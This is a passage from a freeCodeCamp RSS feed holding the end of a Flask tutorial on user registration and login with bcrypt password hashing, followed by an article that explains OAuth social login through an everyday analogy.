<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
{% endfor %}
{% endif %}
{% endwith %}

{% if request.path == '/register/' %}
{{ form.username(class_="form-control",placeholder="Username")}}

{% for error in form.username.errors %}
{{ error }}
{% endfor%}

{% endif%}

{{ form.email(class_="form-control",placeholder="Email")}}

{% for error in form.email.errors %}
{{ error }}
{% endfor%}

{{ form.pwd(class_="form-control",placeholder="Password")}}

{% for error in form.pwd.errors %}
{{ error }}
{% endfor%}

{% if request.path == '/register/' %}
{{ form.cpwd(class_="form-control",placeholder="Confirm Password")}}

{% for error in form.cpwd.errors %}
{{ error }}
{% endfor%}

{% endif%}

<span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"btn btn-block btn-primary mb-3"</span>&gt;</span>
{{ btn_action }}
<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>
{% if request.path != '/register/' %}
New here?
<span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"{{url_for('register')}}"</span>&gt;</span>Create account<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
{% else %}
Already have an account?
<span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"{{url_for('login')}}"</span>&gt;</span>Login<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
{% endif %}
<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>The HTML template shown above serves as both our login and registration form. And I just used a few jinja templating tricks.</p>
<p>As you can see above, the form action is set to <code>action="{{request.path}}"</code>, where <code>request.path</code> retrieves the path from which the request originated and assigns it as the value for the form action. This eliminates the need to hard code the specific paths. </p>
<p>We also set a csrf token variable which allows the form validation to proceed while preventing session riding attacks.</p>
<p>It also handles flashed messages. Bootstrap 5 alerts make it simple to flash different messages based on their category. The following is an example of what that does.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/error-msg.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We simply print out the individual variable names from the form object to display the form fields. Here's an example from the above snippet:</p>
<p><code>{{ form.username(class_="form-control",placeholder="Username")}}</code></p>
<p>Another thing to consider is the use of <code>if...else</code> statements, such as in the following line of code:</p>
<p><code>{% if request.path == '/register/' %}</code></p>
<p>By hiding some fields based on the request path, we can easily switch between the login and registration forms.</p>
<p>Remember the validation checks that we applied to the form fields? Also, we'd like to notify the user if they fail to provide the required input – so we'll include some code for this. An example from the HTML form above is shown below. </p>
<p>The lines of code below will display the appropriate message to the user if any of the checks against the username are violated.</p>
<pre><code class="lang-html">{% for error in form.username.errors %}
{{ error }}
{% endfor%}
</code></pre>
<p>Here's an example of what that would look like:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/10/error-msg-2.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-how-to-modify-routespy">How to modify routes.py</h3>
<p>In Flask, adding new users to the database is simple. To complete today's tutorial, we need to register, login, and logout users — that is, manage sessions.</p>
<p><strong>a). Registration route</strong></p>
<p>First and foremost, taking a closer look at the code snippet below for registering new users, we confirm that the form sending the data has passed all validation checks. So, <code>if form.validate_on_submit():</code></p>
<pre><code class="lang-python">    ...

    <span class="hljs-keyword">if</span> form.validate_on_submit():
        <span class="hljs-keyword">try</span>:
            email = form.email.data
            pwd = form.pwd.data
            username = form.username.data

            newuser = User(
                username=username,
                email=email,
                pwd=bcrypt.generate_password_hash(pwd),
            )

            db.session.add(newuser)
            db.session.commit()
            flash(<span class="hljs-string">f"Account Succesfully created"</span>, <span class="hljs-string">"success"</span>)
            <span class="hljs-keyword">return</span> redirect(url_for(<span class="hljs-string">"login"</span>))

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            flash(e, <span class="hljs-string">"danger"</span>)

      ...
</code></pre>
<p>If all of the checks pass, we get the values from the form fields, which are then passed to the User object, added to the database, and all of the changes are saved.</p>
<p>When the database is successfully updated with the new values, the user sees a success message. After that, the application redirects the user to the login page.</p>
<p>Any exceptions that may occur are caught and displayed to the user. This improves the user experience by displaying nicer alerts (and you can also modify the messages based on the exceptions).</p>
<p>It is not safe to store passwords in plain text because this increases the risk that user credentials will be compromised in the event of a breach. </p>
<p>The user password is hashed before being saved, and what is stored in the database is a highly encrypted combination of characters. We handled this with the help of Bcrypt. The hash is generated like this:</p>
<p><code>pwd=bcrypt.generate_password_hash(pwd)</code></p>
<p><strong>b). Login route</strong></p>
<pre><code class="lang-python">    <span class="hljs-keyword">if</span> form.validate_on_submit():
        <span class="hljs-keyword">try</span>:
            user = User.query.filter_by(email=form.email.data).first()
            <span class="hljs-keyword">if</span> check_password_hash(user.pwd, form.pwd.data):
                login_user(user)
                <span class="hljs-keyword">return</span> redirect(url_for(<span class="hljs-string">'index'</span>))
            <span class="hljs-keyword">else</span>:
                flash(<span class="hljs-string">"Invalid Username or password!"</span>, <span class="hljs-string">"danger"</span>)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            flash(e, <span class="hljs-string">"danger"</span>)
</code></pre>
<p>After passing validation, the User model is queried to see if a user exists with the email provided. If this fails it displays an error message. But if it's validated, the second move is to compare the password issued with the hashed version of it. And if both match, access is granted and the user is redirected to the home page.</p>
<p><strong>c). Logout route</strong></p>
<pre><code class="lang-python"><span class="hljs-meta">@app.route("/logout")</span>
<span class="hljs-meta">@login_required</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">logout</span>():</span>
    logout_user()
    <span class="hljs-keyword">return</span> redirect(url_for(<span class="hljs-string">'login'</span>))
</code></pre>
<p>The above route, which redirects to the login page, handles the termination of active sessions.</p>
<p>And that's it! We've built our application with user authentication.</p>
<p>Thank you for reading. I hope you found this article useful. Continue to read, build, and best wishes. Don't forget to follow me on Twitter as well <a target="_blank" href="https://twitter.com/dev_elie"><strong>@dev_elie</strong></a><strong>.</strong></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Social Login with OAuth to Make Your Apps More Secure ]]>
                </title>
                <description>
                    <![CDATA[ Many developers have written a demo login application at some point in time. We all start with the simple user defined ID and password. We then try to implement something like a social login with, say, Google or Twitter. There is, of course, a more c... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-use-social-login-with-oauth-for-more-secure-apps/</link>
                <guid isPermaLink="false">66bb458361078de848a7e0e4</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ oauth ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Rohit Jacob Mathew ]]>
                </dc:creator>
                <pubDate>Fri, 29 Oct 2021 14:50:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/10/MzBKTcnJA.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Many developers have written a demo login application at some point in time. We all start with the simple user defined ID and password. We then try to implement something like a social login with, say, Google or Twitter.</p>
<p>There is, of course, a more complex process involved in setting up social login, but for a user it's as simple as clicking a button to log in. </p>
<p>The ease of not having to remember an ID/password and just being able to signup/login through the click of a button is extremely beneficial to the user.</p>
<h2 id="heading-what-if-i-told-you-this-was-way-more-secure">What if I Told You This Was Way More Secure? 😉</h2>
<p>Social logins really help us achieve a few things:</p>
<ul>
<li>Support for multiple devices</li>
<li>Single Sign On</li>
<li>Simple to implement</li>
<li>The ability to share data for users without having to release personal information</li>
<li>Ability revoke an active session i.e not allow a third party access to the login and data</li>
<li>There are no long-lasting credentials being exchanged</li>
</ul>
<h2 id="heading-so-what-technology-drives-social-login">So What Technology Drives Social Login? 🤔</h2>
<p>The underlying protocol used is something called <a target="_blank" href="https://oauth.net/">OAuth</a>. It is defined as:</p>
<blockquote>
<p>An open protocol to allow secure authorization in a simple and standard method from web, mobile, and desktop applications.</p>
</blockquote>
<p>Now with a basic understanding of social login and the above definition you probably have some idea of how this works – but let me use a simple example to explain how to use OAuth.</p>
<p>I remember my friend <a target="_blank" href="https://twitter.com/lunatic_monk">Sumedh</a> describing it as an interaction between a Mother, Father, and their Son. Imagine that the mother wants some groceries from the market and she wants the son to buy them for her.</p>
<p>Before I go into the conversation let me set some context.</p>
<blockquote>
<p><strong>Mother:</strong> The user of the application</p>
<p><strong>Son:</strong> Third party client or in technical terms the OAuth Client</p>
<p><strong>Father:</strong> The Social Account or in technical terms the OAuth Provider</p>
</blockquote>
<p>The conversation could possibly go like this:</p>
<blockquote>
<p><strong>Mother:</strong> Hey son, go to the market and bring me some coffee powder. Take the required money from your father.</p>
<p><strong>Son:</strong> Okay.</p>
<p><em>Son (OAuth client) goes to father (OAuth provider)</em></p>
<p><strong>Son:</strong> Hey dad, mom told me to take money from you since she wants some things from the market.</p>
<p><em>Father (OAuth provider) asks mother (User) about the permission to give money to their son (OAuth client)</em></p>
<p><strong>Father:</strong> Hey, shall I give him the money and how much?</p>
<p><em>Authorization of your application takes place here.</em></p>
<p><strong>Mother:</strong> Yes, please give it to him.</p>
<p><em>Permission grant by mother (User)</em></p>
<p><em>Son (OAuth client) gets the required things from the market and returns them to mother (User). Here returning things to mother (User) can be thought of redirecting the user (or logging them) into the third party site.</em></p>
</blockquote>
<p>For a more technical understanding of how this works in code, <a target="_blank" href="https://twitter.com/schneems">Richard Schneeman</a> has this amazing video below:</p>
<div class="embed-wrapper">
        <iframe width="560" height="315" src="https://www.youtube.com/embed/tFYrq3d54Dc" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="YouTube video player" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen="" loading="lazy"></iframe></div>
<h2 id="heading-now-lets-put-all-of-this-in-context">Now Lets Put All of This in Context</h2>
<p>Let's take as an example <a target="_blank" href="https://dev.to/">the DEV Community</a>. If you wanted to create an account on the DEV Community using Twitter, what would happen?</p>
<p>Basically, if the "Sign up with Twitter" button exists, then the initial setup between the OAuth Client (Dev.to) and the OAuth Provider (Twitter) is already done.</p>
<p>The Client triggers a permission granting page for the OAuth Provider based on the credentials it receives from the initial setup. This looks something like below:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1622980489496/IrLawupb6.png" alt="Permission Grant Page" width="1398" height="1106" loading="lazy"></p>
<p>Once you login and grant permission, the OAuth Provider redirects you back to the client and the client gets a token to access your information from the OAuth Provider. This access token enables the client to get specific data from the provider</p>
<p>Based on that data the client then creates an account and logs you in</p>
<h3 id="heading-what-happens-on-successive-login">What Happens on Successive Login?</h3>
<p>Thats a good question. Now OAuth has multiple grant types, and based on that we have different ways to get an access token from the OAuth Provider. </p>
<p>For all subsequent logins, the OAuth Client will hit the provider and generate a new access token to get access to the data and do the login.</p>
<p>Thus this enables us to achieve Single Sign On, the ability to share data for users without having to release personal information, the ability to revoke access, and the ability to not have long lasting credentials exchanged.</p>
<p>This all leads to a more secure experience.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>I hope this short blog post helps you understand why social logins are more secure than the traditional username/password option. I will be writing about the different OAuth Grant types in the future and will be providing code examples as well.</p>
<p>Thanks for reading! I really hope that you find this article useful. I'm always interested to know your thoughts and happy to answer any questions you might have in your mind. If you think this post was useful, please share it to help promote this piece to others.</p>
<p>Thanks for reading! :)</p>
<p>P.S Do feel free to connect with me on <a target="_blank" href="https://www.linkedin.com/in/rohitjmathew">LinkedIn</a> or <a target="_blank" href="https://twitter.com/iamrohitjmathew">Twitter</a></p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
